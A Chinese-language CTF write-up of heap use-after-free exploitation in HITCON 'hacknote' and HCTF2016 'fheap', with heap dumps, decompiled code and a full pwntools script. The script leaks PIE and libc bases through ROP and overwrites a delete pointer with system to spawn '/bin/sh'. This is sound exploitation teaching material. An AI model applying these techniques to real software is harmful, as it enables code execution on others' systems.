兩個UAF

HITCON-training-lab 10 hacknote

本題爲最簡單的UAF利用

add note0,note1後chunk使用情況

 

0x80b4000 FASTBIN {    //note0
  prev_size = 0, 
  size = 17, 
  fd = 0x804865b <print_note_content>,     //put
  bk = 0x80b4018,      //content
  fd_nextsize = 0x0, 
  bk_nextsize = 0x19
}
0x80b4010 FASTBIN {     //note0.content_chunk
  prev_size = 0, 
  size = 25, 
  fd = 0x61616161, 
  bk = 0xa, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}
0x80b4028 FASTBIN {     //note1
  prev_size = 0, 
  size = 17, 
  fd = 0x804865b <print_note_content>, 
  bk = 0x80b4040,       //content
  fd_nextsize = 0x0, 
  bk_nextsize = 0x19
}
0x80b4038 FASTBIN {     //note1.content_chunk
  prev_size = 0, 
  size = 25, 
  fd = 0x62626262, 
  bk = 0xa, 
  fd_nextsize = 0x0, 
  bk_nextsize = 0x0
}

del_note(0),del_node(1)後,fastbin情況如下

16bytes_chunk:note1_chunk->note0_chunk

24bytes_chunk:note1.content_chunk->note0.content_chunk

這時,當我們創建一個note2,且它的content大小爲8則,note2實際上被分配到note1_chunk,note2.content實際上被分配到note0_chunk,而note2.content在創建時是可以自定義的,即我們通過note2就可以控制note0的整個結構體,而由於free之後沒有置空,即存在UAF漏洞,所以note0依舊可以被使用,此時我們將magic函數覆蓋到note0.put處,即可獲取flag

 

HCTF2016-fheap

程序分析

create

 

unsigned __int64 add_str()
{
  signed int i; // [rsp+4h] [rbp-102Ch]
  struc_1 *str_struc; // [rsp+8h] [rbp-1028h]
  char *string; // [rsp+10h] [rbp-1020h]
  size_t size; // [rsp+18h] [rbp-1018h]
  size_t length; // [rsp+18h] [rbp-1018h]
  char str[4096]; // [rsp+20h] [rbp-1010h]
  unsigned __int64 v7; // [rsp+1028h] [rbp-8h]

  v7 = __readfsqword(0x28u);
  str_struc = (struc_1 *)malloc(0x20uLL);
  printf("Pls give string size:");
  size = input_num();
  if ( size <= 0x1000 )
  {
    printf("str:");
    if ( read(0, str, size) == -1 )
    {
      puts("got elf!!");
      exit(1);
    }
    length = strlen(str);
    if ( length > 0xF )
    {
      string = (char *)malloc(length);
      if ( !string )
      {
        puts("malloc faild!");
        exit(1);
      }
      strncpy(string, str, length);
      str_struc->string = string;
      str_struc->delete = delete_all;
    }
    else
    {
      strncpy((char *)str_struc, str, length);
      str_struc->delete = delete_struc;
    }
    str_struc->size = length;
    for ( i = 0; i <= 15; ++i )
    {
      if ( !LODWORD(string_list[i].flag) )
      {
        LODWORD(string_list[i].flag) = 1;
        string_list[i].str_struc = str_struc;
        printf("The string id is %d\n", (unsigned int)i);
        break;
      }
    }
    if ( i == 16 )
    {
      puts("The string list is full");
      ((void (__fastcall *)(struc_1 *))str_struc->delete)(str_struc);
    }
  }
  else
  {
    puts("Invalid size");
    free(str_struc);
  }
  return __readfsqword(0x28u) ^ v7;
}

根據該函數可以分析出結構體:

 

00000000 struc_1         struc ; (sizeof=0x20, mappedto_6)
00000000 string          dq ?                    ; offset
00000008 field_8         dd ?
0000000C field_C         dd ?
00000010 size            dq ?
00000018 delete          dq ?                    ; offset
00000020 struc_1         ends

每次爲結構體分配0x20字節空間。然後設置字符串大小,若字符串長度小於16,則字符串直接放到結構體前24字節,若字符串長度大於16,則重新申請空間並將指針放到結構體前8字節,最後8字節爲一個delete函數,用於釋放結構體本身及其字符串。

每次申請了一個新的結構體後,將其放入一個全局數組中,該數組的元素結構如下

 

00000000 str             struc ; (sizeof=0x10, mappedto_7)
00000000 flag            dq ?
00000008 str_struc       dq ?                    ; offset
00000010 str             ends

flag表示該struc是否存在,之後便是該結構體的指針

 

利用思路

1.利用UAF漏洞泄漏程序基地址

由於程序開啓了PIE,所以需要泄漏其基地址才能進一步的利用。

要泄漏基地址,我們可以構造struc{'a'*24, puts},然後delete這個結構就能獲得調用puts函數的地址

首先申請兩個結構體然後free後,fastbin如下

struc0->struc1

之後我們申請一個struc2,然後str長度爲32,則struc2實際爲struc0,str實際爲struc1

這裏需要注意的是,當我們delete一個結構後,在全局數組中該結構對應的flag變爲0,之後申請的結構指針就可覆蓋這個指針,所以全局數組的0位置一定是會被新申請的結構覆蓋的,所以應該構造struc0->struc1這樣的fastbin

2.泄漏libc基地址

利用該UAF漏洞,我們本質上可以完成任意地址執行,在delete函數中,有一個buf緩衝區,我們可以將rop寫入該緩衝區,然後pop ret跳到緩衝區執行rop,rop中我們打印puts的實際地址,然後跳轉回主函數

3.基地址都已經找到,所以將system函數地址覆蓋到struc->delete位置即可,注意/bin/sh用';'結尾

完整腳本:

 

from pwn import *

context(arch='amd64', os='linux', log_level='debug')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')

p = process('./pwn-f')

def menu():
    p.recvuntil('3.quit\n')

def add(size, string):
    p.sendline('create ')
    p.recvuntil('size:')
    p.sendline(str(size))
    p.send(string)

def delete(idx):
    p.sendline('delete ')
    p.recvuntil('id:')
    p.sendline(str(idx))
    p.recvuntil('sure?:')
    p.sendline('yes')

menu()
#leak elf base
add(8, '0')
add(8, '1')
#gdb.attach(p)
delete(1)
delete(0)
add(32, 'a'*24+'\x2d')
delete(1)
p.recvuntil('a'*24)
puts_addr = u64(p.recv(6).ljust(8, '\x00'))
elf_base = puts_addr - 0xd2d
print 'elf base:' + hex(elf_base)
delete(0)

#leak libc
add(32, 'a'*24+p64(elf_base+0x11dc))
#gdb.attach(p)
pop_rdi = 0x11e3 + elf_base
pop_rsi_r15 = 0x11e1 + elf_base
puts_got = 0x202030 + elf_base
puts_plt = 0x990 + elf_base
rop = flat([
    pop_rdi,
    puts_got,
    puts_plt,
    elf_base + 0xc71,
    ])
menu()
p.sendline('delete ')
p.recvuntil('id:')
p.sendline('1')
p.recvuntil('sure?:')
p.send('yes'.ljust(8, 'a') + rop)
puts_addr = u64(p.recv(6).ljust(8, '\x00'))
libc_base = puts_addr - libc.sym['puts']
system_addr = libc_base + libc.sym['system']
print 'libc base:' + hex(libc_base)
print 'system:' + hex(system_addr)
menu()
delete(0)

#getshell
#gdb.attach(p)
add(32, '/bin/sh;'.ljust(24, 'a')+p64(system_addr))
delete(1)

p.interactive()

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章